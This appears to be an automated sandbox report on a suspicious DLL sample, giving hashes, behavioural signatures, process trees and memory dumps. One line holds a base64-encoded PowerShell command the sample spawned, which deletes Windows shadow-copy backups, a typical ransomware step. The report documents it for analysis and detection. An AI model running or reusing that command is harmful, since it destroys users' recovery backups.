Analysis
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max time kernel
122s -
max time network
138s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 01:09
Static task
static1
Behavioral task
behavioral1
Sample
c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll
Resource
win10-en-20211208
General
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Target
c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll
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Size
166KB
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MD5
f922ca753d760ac09a2fd146a7860991
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SHA1
ba8fefec76b4dab1cc162bf122db209b42667081
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SHA256
c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419
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SHA512
5cf090186c8417841fcdd342d7cecf54e64de938a5ed58329eb1b20b2dec25af87b6ed8dd974888cfd3bca4089878605439f7606067f318195225a5147d74e37
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\M: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1444 rundll32.exe 268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1444 rundll32.exe Token: SeDebugPrivilege 268 powershell.exe Token: SeBackupPrivilege 1068 vssvc.exe Token: SeRestorePrivilege 1068 vssvc.exe Token: SeAuditPrivilege 1068 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1444 wrote to memory of 268 1444 rundll32.exe powershell.exe PID 1444 wrote to memory of 268 1444 rundll32.exe powershell.exe PID 1444 wrote to memory of 268 1444 rundll32.exe powershell.exe PID 1444 wrote to memory of 268 1444 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/268-56-0x000007FEFB531000-0x000007FEFB533000-memory.dmpFilesize
8KB
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memory/268-57-0x000007FEF2920000-0x000007FEF347D000-memory.dmpFilesize
11.4MB
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memory/268-58-0x0000000002720000-0x0000000002722000-memory.dmpFilesize
8KB
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memory/268-59-0x0000000002722000-0x0000000002724000-memory.dmpFilesize
8KB
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memory/268-60-0x0000000002724000-0x0000000002727000-memory.dmpFilesize
12KB
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memory/268-61-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
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memory/268-62-0x000000000272B000-0x000000000274A000-memory.dmpFilesize
124KB
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memory/1444-55-0x0000000075191000-0x0000000075193000-memory.dmpFilesize
8KB